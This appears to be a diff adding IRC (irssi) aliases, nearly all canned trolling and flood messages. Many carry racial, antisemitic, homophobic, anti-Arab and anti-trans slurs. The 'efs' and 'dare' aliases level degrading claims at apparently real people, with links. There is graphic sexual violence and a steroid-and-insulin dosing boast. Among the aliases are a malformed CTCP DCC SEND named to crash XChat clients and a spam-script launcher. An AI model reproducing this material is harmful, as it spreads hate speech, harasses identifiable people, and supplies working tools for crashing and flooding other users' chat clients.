+  coliform = "say \002\00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 R";
+  ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
+  l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
+  turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
+  idetect = "say ]\002IsraelDetect\002(\037tM\037)[  \0034WARNING\003  The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
+  butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
+  girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
+  urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
+  urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
+  stratx = "say \00311,2sut the fuck u";
+  ppeace4l = "say it's all over now nm";
+  gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno\0039\037D\037eficiency \00312\037S\037yndrome \00313\037/\\\\";
+  yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
+  yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
+  hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
+  oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
+  illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
+  illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
+  aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
+  wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
+  coco = "say \002\00311,4 Make friends with the coconut niggers.";
+  fat = "say \0039_\\\\|/_ \002 ROLLIN FATTIES NON STOP ";
+  huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
+  quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
+  cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI  <<<";
+  huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
+  ny = "say I ((_)::::::D ~  NY";
+  poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
+  poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
+  gnus = "say \002G\002nu: \002N\002ot \002U\002seful";
+  dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
+  fagge = "say \0038,13 $* FAGGOT ";
+  hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  avi = "say $*: my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz.  You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke. ";
+  die1 = "say \00311A\00309L\00308B\00304E\00313R\00312T\00311O \00309G\00308O\00304N\00313Z\00312A\00311L\00309E\00308S \00304T\00313O\00312O\00311K \00309B\00308R\00304I\00313B\00312E \00311F\00309R\00308O\00304M \00313A\00312K \00311S\00309T\00308E\00304E\00313L \00312H\00311O\00309L\00308D\00304I\00313N\00312G \00311T\00309O \00308E\00304N\00313D\00312O\00311R\00309S\00308E \00304T\00313H\00312E \00311W\00309A\00308R \00304O\00313N \00312D\00311R\00309U\00308G\00304S\00313,, \00312S\00311A\00309Y\00308S \00304P\00313E\00312T\00311A\00309'\00308S \00304A\00313N\00312I\00311M\00309A\00308L \00304T\00313I\00312M\00311E\00309S";
+  die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
+  huhuh = "say |�_�?�_�|�_�=�_�|�_�?�_�|";
+  racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
+  lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger  I run dot slash configure, yo this package is big but my package is bigger\"]";
+  hetero = "say Warning! Heterosexual activities create children. To avoid heterosexual activity you may be especially polite or well-groomed.";
+  porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
+  shitheap = "say $* -> \002Shitheap\002";
+  dj = "say Ja.";
+  dn = "say Nein.";
+  dm = "say Mu.";
+  dlf = "say $*: Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
+
+  jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4   \0030,1 T \0030,4 H \0030,1 E \0030,4   \0030,1 J \0030,4 E \0030,1 W \0030,4   \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1   \0030,4 T \0030,1 H \0030,4 E \0030,1   \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
+  free = "say \0031,7FREE REISER";
+  boat = "say \\\\\0378=================D\037/  \002COCKBOAT";
+  ussboat = "say /\0378=================D\037/  \002USS COCKBOAT";
+  arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
+  fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
+  ruin = "say EFFORTLESS RUIN";
+  ruin2 = "say I�AM�CAUSING�YOUR�XTERM�TO�SCROLL.�THE�CAUSE�OF�YOUR�XTERM�SCROLLING:�ME�";
+  LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
+  D8 = "say \0035,4o o o oo  _.=._ o \0031,8('<\0033,9$$$$$$$$$$$$$\003\002";
+  christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
+  buttes = "say $C is the cool place to hang out. You can find most of the cool people there. In $C you can just chill and do whatever and totally relax. \"Take it easy\" is the $C motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
+  quite = "say \0034υ \0037я \0038α\0039ℓ\00312ℓ \00313\037т\037\0034я\0037υ\0038ℓ\0039є\00312у \00313\037ι\037\0034и\0037¢\0038я\0039є\00312∂\00313\037ι\037\0034в\0037ℓ\0038є\0039! \00312ι \00313\037н\037\0034α\0037ν\0038є \0039и\00312є\00313\037ν\037\0034α \0037є\0038ν\0039α \00312м\00313\037є\037\0034т \0037α \0038g\0039я\00312σ\00313\037υ\037\0034ρ \0037σ\0038f \0039ρ\00312ρ\00313\037ℓ\037 \0034q\0037υ\0038ι\0039т\00312є \00313\037ℓ\037у\0034к \0037υ \0038ℓ\0039σ\00312т\00313\037!\037";
+  quite2 = "say \0034D\0037є\0038ѕ\0039ѕ\00312ι\00313\037м\037α\0034т\0037σ\0038я \0039υ\00312я \00313\037т\037\0034я\0037υ\0038ℓ\0039є\00312у \00313\037ι\037\0034и\0037¢\0038я\0039є\00312∂\00313\037ι\037\0034в\0037ℓ\0038є\0039! \00312ι \00313\037н\037\0034α\0037ν\0038є \0039и\00312є\00313\037ν\037\0034α \0037є\0038ν\0039α \00312м\00313\037є\037\0034т \0037α \0038g\0039я\00312σ\00313\037υ\037\0034ρ \0037σ\0038f \0039ρ\00312ρ\00313\037ℓ\037 \0034q\0037υ\0038ι\0039т\00312є \00313\037ℓ\037у\0034к \0037υ \0038ℓ\0039σ\00312т\00313\037!\037 ";
+  rage = "say \002I AM SO ENRAGED RIGHT NOW. HOW DARE YOU DISPARAGE $*. $* HAS NOT FAILED ME ONCE, EVER";
+  rage2 = "say ,-,   ,________________________________________________________________,;say | |   |                                                                |;say \0035Ò\003 \0034Ó\003  <  Hi! You appear to be \0034raging\003 and \0039hulkin'\003 on IRC.                |;say |U|   |                         Would you like to:                     |;say |  /  | \002[\002\037Suppress your Anger\037\002]\002  \002[\002\037Emoquit IRC Forever\037\002]\002  \002[\002\037Live in Denial\037\002]\002 |;say `-'   |  \002[\002\037Blog to your Pals\037\002]\002      \002[\002\037Switch to MSN\037\002]\002        \002[\002\037Ban VXP\037\002]\002     |;say       |     \002[\002\037Quit Caring\037\002]\002          \002[\002\037Eat Blogzap\037\002]\002           \002[\002\037Die\037\002]\002       |;say       |________________________________________________________________|";
+  wp = "say  ,W   P.    ,___________________________________________________________,;say \\;       \\;  |                                                            |;say  `,   ,'  <  This IRC message does not \002\037cite\037\002 any \002\037references or sources\037\002.  |;say   `O O'    | Please help \002\037improve this message\037\002 by adding citations to    |;say    |J|     | reliable sources. \002\037Unverifiable\037\002 material may be challenged  |;say    `.'     | and removed.                                               |;say     \",     |____________________________________________________________|";
+  rage3 = "say $*: Hi! You appear to be \0034raging\003 and \0039hulkin'\003 on IRC. Would you like to: \002[\002\037Suppress your Anger\037\002]\002 \002[\002\037Emoquit IRC Forever\037\002]\002 \002[\002\037Live in Denial\037\002]\002 \002[\002\037Blog to your Pals\037\002]\002 \002[\002\037Switch to MSN\037\002]\002 \002[\002\037Ban VXP\037\002]\002 \002[\002\037Quit Caring\037\002]\002 \002[\002\037Eat Blogzap\037\002]\002 \002[\002\037Die\037\002]\002 \002[\002\037\0034Commit suicide because nobody cares\003\037\002]\002";
+  lunixfag2 = "say $Z >>> quit/$* (\"With my finger on the trigger I run dot slash configure, yo this package is big but my package is bigger\") ";
+  smiles = "say :D =D :> :P \\;D:>:> :>=D :P:> \\;D\\;D\\;D :P:>=):> :> \\;D =)=) =) :)\\;D:) =D:>:P :P :) :P=)\\;D :>=):D:> \\;D :):> =D :) :)\\;D :P :P \\;D=)=):> :D :D \\;D =) :D =D\\;D:) :D :) :):D :>";
+  tty = "say $*: you dont know who you fuckin with. you better stop fuckin around and be the man on irc, with no life, get a life and earn the respect you want.";
+  tty2 = "say if you would be my bitch you wouldnt have such a bigg mouth lill kid";
+  uthere = "say \002HIE $* \002\00313^_^\017  \00314\037lopl";
+  nigbot = "say ya fired fum japwo'k yet huhuhui am causin' yo' jap terminal t' beep timecop you is fired fum japwo'k yet huhuhui am causin' yo' jap terminal";
+  nigbot2 = "say dey dont fucken stop runnin ur mouth about mah' mate im gonanf ucken slice yo' eyes";
+  expliot = "say \00313,4THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
+  blax3 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, NO WHITE MAN WANTS YOU BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
+  nigbot3 = "say I felt such some\\; damn god damn! what's that. baaaad luck with (not quite as hot be the international day) UH EATIN PACKITS -- not quite identical however, as he cried \"someone else be well, if that's why I don't like our southern ways, what's the new areems when it lacks concrete semantics. but off course! to hear that his real dojigga'\"";
+  pban = "say Global and Sticky Perma-Ban(tm)";
+  prison = "say \0034------------------------------------------------------------------------------------IMPENETRABLE-IRC-PRISON-WALL------------------------------------------------------------------------------------";
+  bkr = "say check out $* here he keeps himself busy with tons of inherently useless vanity just to keep his inner \00313F\0036A\00313G\0036G\00313O\0036T\003 quiet and peaceful.";
+  bks = "say check out $* here whose communicative capabilities are so limited that he has to resort to his own language nobody understands just to feel \00313\037special";
+  azno = "say $*: listen boyo... you want a war, i can give you one you need to keep my channel out of your stupid bullshit or i'll set you straight like you've never been you feel me?";
+  aznp = "say $*: you're a fuckin peon get a job you ever been laid? flood my channel again and i will fuck you up get a life... get laid get off efnet";
+  aspam = "exec - -out perl ~/.irssi/scripts/stand/aspam.pl $* ";
+  bkt = "say check out $* over here aka hemhorroids man who has a special pass-out-in-my-chair computer pillow that he sits on";
+  shaggs = "say you're a terrible person $*;say i don't know if i want to associate with you anymore";
+  l0de4 = "say Did you know? Every line typed in $C is printed out on pristine laser paper by a group of Benedictine Monks in the French Alps. These dedicated men carefully transcribe every word you type into beautiful illuminated manuscripts to preserve the glory of $C for all time. The next time you feel the need to spam ascii or whinge about your boyfriend, think of these hardworking monks.";
+  l0de5 = "say \0034,1Anus \00312balls \0038cock \0034dongs \00312easysex \0038fuck \0034gonads \00312hoochie \0038internet \0034jerkin' \00312killwhitey \0038lickeddick \0034masturbating \00312niggers \0038orgasm \0034pussy \00312queers \0038rednecks \0034sodomy \00312tits \0038urine \0034vadgemaster \00312weenis \0038xstasy \0034yitzachrabim \00312zomg \00313DONGZ";
+  lump28 = "say $*: listen up ok nobody even likes u the only reason i dont ddos u nto oblivion is cuz ur not even worth my bandwif u fkn fgt retard im srs if u say 1 more thing u wont even get to get out of ur seat cuz i wil KAMEHAMEHAAAAAAA u thru the keyboard n shoc ur fingers so bad u will say sry but its too";
+  bfig = "exec - -out echo \"$*\" | figlet | perl -ne 'chomp $_\\; print \" \0034\037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\037 \\$_ \037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\\\\n\"\\;' ";
+  kissy = "say Hello! My name is \00313Ahmed Al-Sular\003, I am a \0034MATH\003 professor at the national University of \0034IRAN\003 , And as a proud \0034ARAB\003 i must inform you that \0034WE\003 invented \0034MATH!\003 That's right kids! When you learn \0034MATH\003 in school, you learn \0034TERRORISM!\003 IF YOU WANT TO HELP US \0034ARABS\003 DESTROY ANOTHER TRADE CENTER, \00312GO LEARN \0034MATH\00312 NOW!!!";
+  kissy2 = "say \003Hello, Sir! My name is Abdullah Ihram Mohammad Bin Zular Krokar Tehroham Kumr, \002\0034I am a TERRORIST.\002\003 My father was on the first plane that crashed in the World Trade Center. I get a boner every time CNN plays that tape. If you wish to help me in my quest for \002\0038WORLD SLAVERY\002\003, please purchase a kalashnikov at your nearest kalashnikov store and \002\0034HELP ME KILL ALL AMERICANS!";
+  kissy3 = "say I think the PRESIDENT is the BOMB. SHOOT, sometimes, I think about GEORGE W. BUSH and wonder if he would like the ISLAMABAD deli on 14th st here in WASHINGTON, DC. I think the falafel is to DIE for. Or even to KILL for. It's so good it makes me wanna declare a falafel JIHAD on all the other INFIDEL falafel stands in the capital -- from those near THE WHITE HOUSE to those near CAPITAL HILL.";
+  xchatcrash = "CTCP $C ?\001DCC SEND \"ff???f?\" 0 0 0 ";
+  # }}}
+  # }}}
+  # {{{ \
+  stop = "say $*: Your wisdom and mercy are legendary. I will eventually ! You cannot stop me.";
+  dead = "say I went down to a rifle store, I bought myself a leng; say I point it at my head but I couldn't get the job done; say I took all my mother's sleeping pills; say I jumped off a freeway bridge; say I drank three kinds of poison; say And drove my car off a ridge; say I beat myself with a bat; say Put a noose around my head; say But I'm still not dead; say    -- $*";
+  women = "say $*: 1 in 2 people are women";
+  plonk = "say $*: I have criticised your crossposting over several unrelated newsgroups.; say $*: I'd now criticize your setting \"Followup-To: news.newusers.questions\", and your complete misrepresentation of the thread about fullscreen consoles, but I have realized that you are in need of always having the last word, you need the feeling to have \"won\" even if resorting to the most absurd means, and are basically to be commiserated with because you seek your fun in such sad ways. In other words: you're just a troll, and I won't feed you any more.; say $*: *PLONK*";
+  foot = "say $*:   .'    -----------=-.; say $*:   .                   `-.; say $*:   \\              _.      `-.; say $*:  \\\\\\\\`.______..---'  `.__     `-.; say $*:   |      /             \"--..   `-._; say $*:   |     /                   ``( _  `._; say $*:   |    /                          `-.-'";
+  arabspamf = "attn3 ARE YOU ILLITERATE? WANNA LEARN THE FUCKING ALPHABET? DO YOU LIKE WORD SALAD? THEN JOIN #ARAB ON IRC.ARABS.PS AND JOIN THE LITERATE WORLD TODAY!";
+  hex = "say i really have enough bullshit irl to deal with to not be able to chat honestly in the only place on irc i still do";
+  hex2 = "say the only culture i have is irc, books, american and british tv series and panel comedy shows";
+  feminist = "say $*: I'm a femonist atheist, as well as femonist-critical, antifemonist-curious, bisexual, and I thoroughly enjoy telling people when they're wrong, especially when they don't know how to back up their shit. Although I say I'm a femonist, I would like to also put out there that I am an egalitarianist, and therefore support men's rights, but \"MRA\" wouldn't be the right term, because I'm not the most active of people. Masculinist just sounds funny.";
+  irony = "say $*: we are in a point in our culture where I can’t tell if you are for real or trying to be post-ironic. This saddens me.";
+  trans = "say $*: just a friendly remonder that trans people are better than cis people ^_^";
+  suffer = "say $*: I suffer from type 1 diabetes, anxiety, especially social anxiety disorder, OCD, vertigo, fear of heights, dark places, deep water, insects that can hurt me, mild trypophobia, loud noises, and teeth. I’ve also been the victim of abuse and sexual assault.";
+  hex3 = "say $*: do you want me to really start fucking with you";
+  heron = "say $*: i am a heron. i haev a long neck and i pick fish out of the water w/ my beak. if you dont repost this comment on 10 other pages i will fly into your kitchen tonight and make a mess of your pots and pans";
+  "frot-prime" = "say $*: go play in traffic!!!!!!! address me as \"xe/xem/xyr\", you cisgender-privileged rape-apologist!!!!!!!";
+  "frot-prime2" = "say $*: CHECK YOUR FUCKING SMALLFAT PRIVILEGE, YOU HETEROPATRIARCHAL INTERSPECIES-IGNORING, HETERO-PRIVILEGED NECKBEARD";
+  brr = "say $*: drop DEAD!!!!!!! ~~~~~*ur worse than HITLER, U CISGENDER-NORMATIVE KYRIARCHIST!!!!!!*~~~~~ └(｀0´)┘ no oNE CARES ABOUT UR DAMN FEMSCUM UTERUS-BEARER OPINION!!!! ᕙ(⇀‸↼‶)ᕗ sfam smallfat opinions!!!";
+  dzl2 = "say $*: kid , you are gfoing to have 0 ircd for 23months now... you see where fighting gets you with me ? I dont care ho9many od arse lins you hit %%, we already had thtdelinked lmao, so i lost6 mayb 4 bot :P try harder, and still, ill add months kiddo,FUCK";
+  brr2 = "say $*: Hi hot and Beautiful \00313b\0037r\0038r\003, you call me 09868035385, 09212235385 I Am 35 in Dellhi Sweet and Unsatisfied Girls and Aunties call as one time fun with you and me....";
+  franka = "say $*: Y NAME IS FRANKA ABDULMOHAMMED wants you to know about Elance!MY NAME IS FRANKA ABDUL [ AM FROM KUWAIT] I WANT TO INVEST IN YOUR COUNTRY UNDER YOUR CONTROL AS MY BUSINESS MANAGER. COPY THIS MY EMAIL AND CONTACT ME THROUGH YOUR PERSONAL EMAIL FOR MORE DETAILS. PLEASE I NEED YOUR URGENT REPLY IMMEDIATELY. ( Franka_abdulmohammed002@hotmail.com )";
+  frankie = "say FRANKIE AND JOHNNY WERE LOVERS; say OH LORDY HOW THEY COULD LOVE; say THEY SWORE TO BE TRUE TO EACH OTHER; say AS TRUE AS THE STARS ABOVE";
+  wow2 = "say $*: wow, I've never witnessed such proficiency at such a hackjob. It's dilettantism like this, with its neediness on excessive terminologies which transform into vapid jargon, that is symptomatic of postmodern discourse. Good on you David sharing your bookshelf with youtube, but these regurgitations and quasi-dissemonations of 'logic' that is instantly reified through, much like Heidegger's existentialist jargon, to a point that you are shaving and exscinding all profundity latent within dialectical thinking. Good work on betraying $0's most profound legacy!! Kudos";
+  will = "say $*: Will qutting masturbation make me more handsome???";
+  cis = "say $*: dear cis people\\; nobody cares about how hard it is for you to learn about genders that arent yours when we had to go out of our way to discover that the genders we are even exist";
+  breddas = "say $*: HI breddaS!!!! it's taki and it's my first thread i will show you my latest animation so rate please [IMG]C:\\\\Users\\\\Administrateur\\\\Desktop\\\\Taki\\\\Photos\\\\animation.gif[/IMG]";
+  arabspamg = "attn3 ARE YOU BLOOD CLOT TIRED? DO YOU HATE BEING AWAKE? ARE YOU DONE WITH THAT PROC? THEN JOIN #ARAB ON IRC.ARABS.PS TONIGHT AND BLOG ABOUT YOUR INSOMNIA!";
+  jinn = "say $*: The Jinn inhabited the earth long before humans were introduced onto it, forgive me for lack of references I\\'m sure more learned sisters and brothers can verify this insha\\'Allah, Azazil before becoming iblis prayed on every inch of the earth for a period of 4+ million years. The Jinn living on earth obviously required sustenance so its very possible and probable dynosaurs existed for millions of years prior to human introduction onto the earth and served this purpose or not... ";
+  hex4 = "say $*: no i realised that i spend a ridiculous amount on stupid shit because im a spoiled little fuck so i can either step down in expenses or step up in pay";
+  colin = "say $*: i don't know who you are but it would be a good idea for you not to talk to me further";
+  wc = "window close";
+  w = "window $*";
+  n = "names";
+  wa = "say .wolfram $*";
+  founder = "mode $C +qaohv $0 $0 $0 $0 $0";
+  chghost = "quote chghost $*";
+  chgident = "quote chgident $*";
+  chgname = "quote chgname $*";
+  ta = "eval topic $C $topic | $*";
+  fukjordan = "say how about we just solve this now;kb neener ";
+  opp = "founder $*";
+  dns = "exec host $*";
+  svsnick = "os svsnick $*";
+  tatdump = "I had to dump two girls so far when I found out they had tats. As a general rule, every tat a girl has = 1 different sexually-transmitted disease. Not to mention that Despite all this, why do some women have tats? And why do they get upset when I dump them because of it?";
+  roids = "say CJC with Dac is def worth it. The best you can do, which I just started running, and it's insane is your regular AAS cycle whatever you are running, with GH and Insulin. I'm on 4iu GH every other day, humalog 8iu 5 days a week, just upped my AAS this week to 800mg test E, 400mg Deca, and 300mg masteron ent a week. After all the money you spend on sarms and peptides, you might as well just save that and put it towards quality GH. So far it's a sick combo.";
+  tyt = "say take your time";
+  nicebox = "play nicebox";
+  opinion = "echo Well, this is a slightly different thing than an opinion. The game was, in fact, not amazing. It had aspects of what could make something amazing, but in the end didn't pull it all together. There's a reason it gets so much flak, it's not people just hating on it for nothing. However you can like things that aren't good and dislike things that are good, that's where opinion comes in. I know this all seems like semantics but it's important to know the difference between these things, because if you say one thing and intend another it's not the reader's fault for thinking you meant what you said.﻿";
+  play = "exec -o cat ~/a/$*.txt";
+  icmp = "say $*: how about i do a nice icmp ping 2 u, figure out where you are and what you are on, spawn your command.com to a port of my choice and log in with telnet and have a field day with you";
+  1stup = "say YO BITCH IM THE 1ST UP IN THIS PIECE. RESPECT MY ABILITY TO BE UP EARLY AND CHAT BEFORE YOU COCK SUCKER!!!!!!!!!";
+  googleit = "exec -o cat ~/googleit";
+  talkpiss = "say u know wtf is so funny about $* he loves talk about something he knows fuckall about this is why he is called mr talkpiss moahahaha";
+  ncf = "say Listen NCF sucks. 1. Nice political ranking system. nice voting. BCS is garbage 2. Nice schedule, there are only 2-3 meaningful games per year per team 3. Nice male cheerleaders (faggots) 4. Female announcers. (go bitch to somone who cares cunt) 5. \002SEC Fans";
+  your = "say look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
+  quit = "echo \002\0034ONE DOES NOT SIMPLY _QUIT_ IRC";
+  canada420 = "say amazing that dzl is still chatting even after everyone knows he fingered his butthole on tinychat for other irc males";
+  slap = "me slaps $* around a bit with a large trout";
+  floodfuck = "play *;win 2";
+  sss = "play sss;w 2";
+  okay = "msg #dev ok;msg #help ok";
+  snitch = "say any of you have a way of getting a hold of juoef? Jeff bring :) insect";
+  goodop = "say I have like 50,000 shells/vhosts/bncs. Bans won't do a thing except fill your list. And 'get to where i am today' is a sad testament to your life apparently. On a side note, I used to op other chans that are far bigger than this chan. I didn't get ops by k/b'ing everyone in sight or anyone that carried a touch of annoyance to me. I reserved k/bs for spammers and flooders, that's it. Everyone else I /ignored";
+  efs = "say efs / efsenable / efsnable / loserp3 = Ephraim Pesach \"Effy The Gay Kike\" Grinberg of the Golan Heights Israel, a dog killing (http://is.gd/RLHl5W) diseased gay virgin jewish ratboy kiddie who lives in a mental hospital with an arab roommate; The arab roommate jihads his poopchute every night while thrusting towards Mecca and screaming \"ALLAHU AL AKBAR!!\" http://is.gd/P3hELn http://is.gd/wyh7mj http://i.imgur.com/Hlev8xc.png";
+  dare = "say dare / bare (Meg aka sMeggy Meg aka darezo: ( http://genoci.de/darezo.jpg ) is married to a \"potter\" who can't bring home the bacon and with their two kids, they often can't pay the electric bill. she camwhores too while drunk. that sounds great until you see her and the 80's hair. <efsenable> yeah dare is pretty worthless. fat worthless whore. <monq> wtf dare is ugly <dolphin> i saw her tits on tinychat <dolphin> ive recovered somewhat <[x]> dare is ugly";
+  nofilter = "mode $C -G";
+  bryansilva = "say I am capable of making any girl orgasm violently during vaginal intercourse without the need for oral or sex toys. I know how to do it right and EXACTLY what to do. I'm generally the first guy who has made every girl I fucked cum during sex. Whereas oral sex is concerned? 40 seconds is all I need. Time me";
